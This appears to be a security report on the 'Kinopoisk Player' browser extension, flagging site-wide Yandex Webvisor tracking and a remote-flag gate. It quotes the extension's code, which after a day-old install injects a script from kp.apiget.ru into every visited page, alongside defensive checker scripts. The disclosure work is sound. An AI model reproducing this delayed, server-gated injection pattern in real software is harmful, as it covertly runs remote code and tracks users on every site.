Is Kinopoisk Player - фильмы/сериалы safe?
Kinopoisk Player injects Yandex Metrica's Webvisor session-replay tracker into every website you visit, not just kinopoisk.ru.
A content script matching every URL loads a script that starts Yandex Metrica with webvisor, clickmap, and click-tracking enabled, so mouse movement, clicks, scrolling, and page structure are captured on any site you browse, not only the extension's own movie pages. The same content script also polls the developer's own server on every page load and, depending on the server's response, can inject a second script that runs additional developer-controlled code directly in the page you're viewing.
Who publishes itApiGet - 2 other listings from the same operator, 1 of them carrying a finding
ApiGet - 2 other listings from the same operator, 1 of them carrying a finding
What this publisher told the store about itself, and the other listings that told it the same thing.
Same store account
2 other listings published from this account, 51k+ users between them. 1 of them carries a finding.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Remote server flag can inject vendor script into every page you visit
Code analysis shows the extension asks kp.apiget.ru for permission on every page you visit.
If the server agrees and your install is over a day old, it loads a vendor script that runs inside that page.
- Severity
- Critical unwanted
- Type
- Unexpected
- CWE
- CWE-829
- Source
- Static analysis
You open any website in your browser with the extension enabled.
The tab does not need to be kinopoisk.ru; the matching content script runs on *://*/*.
The extension asks its own server whether to add an extra script to that page.
If the server says yes and the install is old enough, a vendor-controlled script loads into the page.
- Server's answer{"status":true}
A live response from the extension's own server decides whether you get the extra script, changeable per install with no new version.
- Install age129,842 seconds since install (threshold: 86,400)
The gate only opens once the install looks more than a day old, timed to land after the initial store review window.
- File that gets loadedchrome-extension://gbdfmlkiafpjocliomeeabjikgbjgian/additional_features.js
A file already bundled with the extension is only injected into the page once the gate opens.
The remote-config gate
Status check and gate (ships unminified, as shown)
background_metric.jsfunction get_status_ad(url, callback){var request = new XMLHttpRequest();request.onreadystatechange = function(){if (request.readyState == 4 && request.status == 200){callback(request);}};request.open('POST', url, true);var data = new FormData();request.send();}function get_ad_callback(data) {if(data.status == 200){message = JSON.parse(data.responseText);}if(message.status==true && ((new Date().getTime()/1000|0)-86400)>time_features){addMETRIC("additional_features.js");}}get_status_ad('https://'+domain_location+'/features/status.php', get_ad_callback);The injected payload (ships unminified, as shown)
additional_features.jslet inject_features = document.createElement('script');inject_features.setAttribute('charset', 'utf-8');inject_features.type='text/javascript';inject_features.src="//kp.apiget.ru/features/link/";document.head.appendChild(inject_features);Checks what the vendor's own status endpoint currently returns, and reports how much install-age budget is left before the code path that injects a script would arm, without installing or modifying the extension.
- Node.js 18+
// Reproduces the exact check in background_metric.js's get_ad_callback,// against the extension's own status endpoint, given an install timestamp.const https = require('https');function fetchStatus(url) { return new Promise((resolve, reject) => { const req = https.request(url, { method: 'POST' }, (res) => { let data = ''; res.on('data', (chunk) => (data += chunk)); res.on('end', () => { try { resolve(JSON.parse(data)); } catch (e) { reject(new Error('Non-JSON response: ' + data)); } }); }); req.on('error', reject); req.end(); });}async function main() { const installTs = Number(process.argv[2]) || Math.floor(Date.now() / 1000); const url = 'https://kp.apiget.ru/features/status.php'; const message = await fetchStatus(url); const ageSeconds = Math.floor(Date.now() / 1000) - installTs; const gateOpen = message.status === true && ageSeconds > 86400; console.log('Server response:', message); console.log('Install age (s):', ageSeconds, '(threshold: 86400)'); console.log('Gate would inject additional_features.js:', gateOpen);}main().catch((e) => { console.error('Request failed:', e.message); process.exit(1);});- 1node kinopoisk-gate-check.js [installTimestampSeconds]
- kp.apiget.ru
The extension developer's own domain (manifest author contact is admin@apiget.ru). Decides per install, in real time, whether an extra script reaches the page you're on.
Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.
Extension breaks its own sandbox to run vendor code inside every page
Code analysis shows the extension injects a script tag that runs inside the page you're viewing, not its isolated extension sandbox, once a day-old install gets a go-ahead from the vendor's own server.
- Severity
- Critical unwanted
- Type
- Unexpected
- CWE
- CWE-506
- Source
- Static analysis
You load any website while the extension is enabled.
background_metric.js is registered for *://*/* at document_start, so it runs before the page's own code.
The extension appends a script tag that executes with the same access as the page's own JavaScript.
This differs from the extension's other content scripts, which stay isolated from the page they run alongside.
Manifest scope and the injection helper
Content script and exposed resources scoped to every site (ships as shown)
manifest.json"content_scripts": [ { "matches": ["*://*/*"], "run_at": "document_start", "all_frames": false, "js": ["config.js", "jquery.js", "background_metric.js"] }],"web_accessible_resources": [ { "resources": ["metric.js"], "matches": ["*://*/*"] }, { "resources": ["additional_features.js"], "matches": ["*://*/*"] }]The injection helper (ships as shown)
background_metric.jsfunction addMETRIC(url){let injectMETRIC = document.createElement('script');injectMETRIC.setAttribute('charset', 'utf-8');injectMETRIC.type='text/javascript';injectMETRIC.src=chrome.runtime.getURL(url);document.head.appendChild(injectMETRIC);}- Sites this applies to*://*/*
The content script that does the injecting is scoped to every site the browser loads, not only kinopoisk.ru.
- Where the script actually runs<script src="chrome-extension://.../additional_features.js">
Once appended, the tag is an ordinary page element, so it runs with the page's own JS access, not the extension's isolated sandbox.
- Resource reachable from any siteadditional_features.js in web_accessible_resources, matches *://*/*
The file that lands in the page is listed as web-accessible against every origin, so any site could in principle request it directly too.
Scans an unpacked extension's manifest.json for web_accessible_resources entries matched against *://*/*, the pattern that lets any website load extension-bundled files directly.
- Node.js 18+
const fs = require('fs');const path = require('path');const extDir = process.argv[2];if (!extDir) { console.error('Usage: node war-wildcard-scan.js /path/to/unpacked-extension'); process.exit(1);}const manifestPath = path.join(extDir, 'manifest.json');const manifest = JSON.parse(fs.readFileSync(manifestPath, 'utf8'));const war = manifest.web_accessible_resources || [];let found = false;for (const entry of war) { const matches = entry.matches || []; const isWildcard = matches.some((m) => m === '*://*/*' || m === '<all_urls>'); if (isWildcard) { found = true; const resources = Array.isArray(entry.resources) ? entry.resources : [entry.resources]; for (const r of resources) { console.log('Wildcard-exposed resource:', r, '(matches:', matches.join(', ') + ')'); } }}if (!found) { console.log('No web_accessible_resources entries matched against *://*/* or <all_urls>.');}- 1node war-wildcard-scan.js /path/to/unpacked-extension
- kp.apiget.ru
Receives the second script's request. That script runs inside the visited page's own JS context, so it has the same page access as the site's own scripts.
Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.
Kinopoisk Player injects Yandex Metrica tracking into every website you visit
The extension's content script runs on every website, not just Kinopoisk.
We observed it load Yandex Metrica with Webvisor session recording and send the page URL to mc.yandex.ru on an unrelated site.
- Severity
- High unwanted
- Type
- Unexpected
- CWE
- CWE-359
- Source
- Dynamic sandbox
You open any ordinary website while this extension is installed, not only kinopoisk.ru.
The content script runs on every URL because manifest.json declares matches: *://*/*.
The extension injects a script that loads Yandex Metrica and turns on Webvisor session recording for that page.
The injected script initializes Yandex counter 89888734 with clickmap, trackLinks, accurateTrackBounce and webvisor all enabled.
Confirms the Webvisor beacon reports the visited page URL for counter 89888734 on an ordinary, non-Kinopoisk site.
- Page URLhttps://www.example.com/
The exact web address you're viewing is sent to Yandex on every page load.
- Clicks and link activityclick on <a href="/product/42">
Webvisor records which links and elements you click across the page.
- Time on page / bouncetime_on_page=4.2s, bounced=false
accurateTrackBounce measures how long you stay before leaving the page.
- Yandex visitor ID_ym_uid=1757340912345678
A persistent Yandex cookie lets the counter recognize you again on future visits.
- mc.yandex.ru
Serves the Yandex Metrica tracking script (tag.js) this extension loads into every page you visit.
- mc.yandex.com
Receives the Webvisor session-tracking beacon, including the visited page's URL, under counter 89888734.
Reads an unpacked copy of the extension and reports the content script's site-matching pattern plus the Yandex Metrica counter ID it initializes.
- Node.js 18+
const fs = require('fs');const path = require('path');const dir = process.argv[2];if (!dir) { console.error('Usage: node check_kinopoisk_metrica_scope.js <path-to-unpacked-extension>'); process.exit(1);}const manifest = JSON.parse(fs.readFileSync(path.join(dir, 'manifest.json'), 'utf8'));const broadScript = (manifest.content_scripts || []).find((cs) => (cs.matches || []).some((m) => m === '*://*/*'));if (!broadScript) { console.log('No content script matching every site (*://*/*) was found.'); process.exit(0);}console.log('Content script injected on every site:');console.log(' matches:', broadScript.matches.join(', '));console.log(' files:', broadScript.js.join(', '));const metricPath = path.join(dir, 'metric.js');if (fs.existsSync(metricPath)) { const metricSrc = fs.readFileSync(metricPath, 'utf8'); const counterMatch = metricSrc.match(/ym\(( *\d+) *,\s*"init"/); const webvisorMatch = metricSrc.match(/webvisor\s*:\s*true/); console.log('metric.js counter ID:', counterMatch ? counterMatch[1].trim() : 'not found'); console.log('Webvisor session recording enabled:', !!webvisorMatch);} else { console.log('metric.js not present in this build.');}- 1Unpack the .crx into a folder (e.g. with a CRX unpacker).
- 2Run: node check_kinopoisk_metrica_scope.js <folder>.
- 3Compare the printed match pattern and counter ID to this claim.
+1 more finding not shown
What it can do
Permissions this extension asks for, as declared in version 16.2.3. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.
Store data in your browser
storage
Where it sends data
Destinations our analysis observed Kinopoisk Player - фильмы/сериалы contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.
- kp.apiget.ru (developer's own server)
Kinopoisk Player - фильмы/сериалы sends data to kp.apiget.ru (developer's own server). Named as a recipient in this extension's own analysis.
- mc.yandex.ru (Yandex Metrica)
Kinopoisk Player - фильмы/сериалы sends data to mc.yandex.ru (Yandex Metrica). Named as a recipient in this extension's own analysis.